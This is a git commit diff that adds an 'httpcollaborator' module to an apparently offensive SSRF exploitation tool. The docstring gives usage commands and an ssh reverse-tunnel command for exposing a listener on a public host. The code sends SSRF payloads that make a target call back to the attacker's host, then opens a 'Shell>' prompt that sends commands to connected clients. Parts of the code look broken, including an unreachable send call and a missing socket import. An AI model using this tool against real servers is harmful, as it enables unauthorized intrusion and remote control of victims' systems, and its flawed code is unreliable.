Add files via upload

Author: errorfiathck

modules/httpcollaborator.py

@@ -0,0 +1,83 @@
+from utils.utils import *
+import re
+import threading
+import logging
+import urllib.parse
+
+"""
+Example:
+```
+~$ python3 ssrf-exploit.py -v -u url --lhost=public-ip --lport 4242 -m httpcollaborator -l http
+```
+Use ssh/autossh to established remote tunnel between public and localhost handler if running module locally against remote target
+```
+~$ ssh -fN -R public-ip:4242:127.0.0.1:4242 username@public-ip
+```
+"""
+
+name          = "httpcollaborator"
+description   = "This module act like burpsuite collaborator through http protocol to detect if target parameters are prone to ssrf"
+author        = "errorfiathck"
+documentation = []
+
+class Handler(threading.Thread):
+
+    def __init__(self, port):
+        threading.Thread.__init__(self)
+        logging.info(f"Handler listening on 0.0.0.0:{port}")
+        self.connected = False
+        self.port = int(port)
+
+    def run(self):
+        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self.socket.bind(('', self.port))
+
+        while True:
+            self.socket.listen(5)
+            self.client, address = self.socket.accept()
+            print(f"Handler> New session from {address[0]}")
+            self.connected = True
+
+            response = self.client.recv(255)
+            while response != b"":
+                print(f"\n{response.decode('utf_8', 'ignore').strip()}\nShell > $ ", end='')
+                response = self.client.recv(255)
+
+    def listen_command(self):
+        if self.connected == True:
+            cmd = input("Shell> $ ")
+            if cmd == "exit":
+                self.kill()
+                print("BYE !")
+                exit()
+                self.send_command(cmd+"\n\n")
+
+    def send_command(self, cmd):
+        self.client.sendall(cmd.encode())
+
+    def kill(self):
+        self.client.close()
+        self.socket.close()
+
+
+class exploit():
+    SERVER_HOST = "127.0.0.1"
+    SERVER_PORT = "4242"
+
+    def __init__(self, requester, args):
+        logging.info(f"Module '{name}' launched !")
+
+        # Handle args for httpcollaborator
+        if args.lhost == None: self.SERVER_HOST = input("Server Host:")
+        else:                  self.SERVER_HOST = args.lhost
+
+        if args.lport == None: self.SERVER_PORT = input("Server Port:")
+        else:                  self.SERVER_PORT = args.lport
+
+        params = args.param.split(",")
+        for param in params:
+            logging.info(f"Testing PARAM: {param}")
+            payload = wrapper_http(f"?{param}", args.lhost, args.lport.strip() )
+            r = requester.do_request(param, payload)
+
+        logging.info(f"Module '{name}' finished !")